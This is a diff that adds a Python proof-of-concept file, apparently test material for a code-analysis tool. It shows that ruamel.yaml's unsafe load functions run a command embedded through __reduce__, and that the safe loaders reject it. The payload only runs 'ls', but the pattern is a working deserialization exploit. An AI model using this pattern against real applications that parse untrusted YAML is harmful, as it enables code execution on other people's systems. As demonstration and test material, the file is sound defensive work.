|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +# this file doesn't have a .py extension so the extractor doesn't pick it up, so it |
| 4 | +# doesn't have to be annotated |
| 5 | + |
| 6 | +# This file is just a Proof of Concept for how code execution can be triggered. |
| 7 | + |
| 8 | +import os |
| 9 | +import ruamel.yaml |
| 10 | + |
| 11 | +class Exploit(object): |
| 12 | + def __reduce__(self): |
| 13 | + return (os.system, ('ls',)) |
| 14 | + |
| 15 | +data = Exploit() |
| 16 | +serialized_data = ruamel.yaml.dump(data) |
| 17 | + |
| 18 | +# All these will execute `ls` |
| 19 | +print("!!! ruamel.yaml.load") |
| 20 | +ruamel.yaml.load(serialized_data) |
| 21 | + |
| 22 | +print("!!! ruamel.yaml.load kwarg") |
| 23 | +ruamel.yaml.load(stream=serialized_data) |
| 24 | + |
| 25 | +print("!!! ruamel.yaml.load with Loader=ruamel.yaml.Loader") |
| 26 | +ruamel.yaml.load(serialized_data, ruamel.yaml.Loader) |
| 27 | + |
| 28 | +print("!!! ruamel.yaml.load with Loader=ruamel.yaml.UnsafeLoader") |
| 29 | +ruamel.yaml.load(serialized_data, ruamel.yaml.UnsafeLoader) |
| 30 | + |
| 31 | +print("!!! ruamel.yaml.load with Loader=ruamel.yaml.CLoader") |
| 32 | +ruamel.yaml.load(serialized_data, ruamel.yaml.CLoader) |
| 33 | + |
| 34 | +# you need to iterate through the result for it to execute... but it still works |
| 35 | +print("!!! ruamel.yaml.load_all") |
| 36 | +for _ in ruamel.yaml.load_all(serialized_data): |
| 37 | + pass |
| 38 | + |
| 39 | +# check that the safe version is actually safe |
| 40 | +print("\n" + "-"*80) |
| 41 | +print("safe versions") |
| 42 | +print("-" * 80) |
| 43 | + |
| 44 | +print("!!! ruamel.yaml.safe_load") |
| 45 | +try: |
| 46 | + ruamel.yaml.safe_load(serialized_data) |
| 47 | + raise Exception("should not happen") |
| 48 | +except ruamel.yaml.constructor.ConstructorError: |
| 49 | + pass |
| 50 | + |
| 51 | +print("!!! ruamel.yaml.load with Loader=ruamel.yaml.SafeLoader") |
| 52 | +try: |
| 53 | + ruamel.yaml.load(serialized_data, ruamel.yaml.SafeLoader) |
| 54 | + raise Exception("should not happen") |
| 55 | +except ruamel.yaml.constructor.ConstructorError: |
| 56 | + pass |
| 57 | + |
| 58 | +print("!!! ruamel.yaml.load with Loader=ruamel.yaml.CSafeLoader") |
| 59 | +try: |
| 60 | + ruamel.yaml.load(serialized_data, ruamel.yaml.CSafeLoader) |
| 61 | + raise Exception("should not happen") |
| 62 | +except ruamel.yaml.constructor.ConstructorError: |
| 63 | + pass |
0 commit comments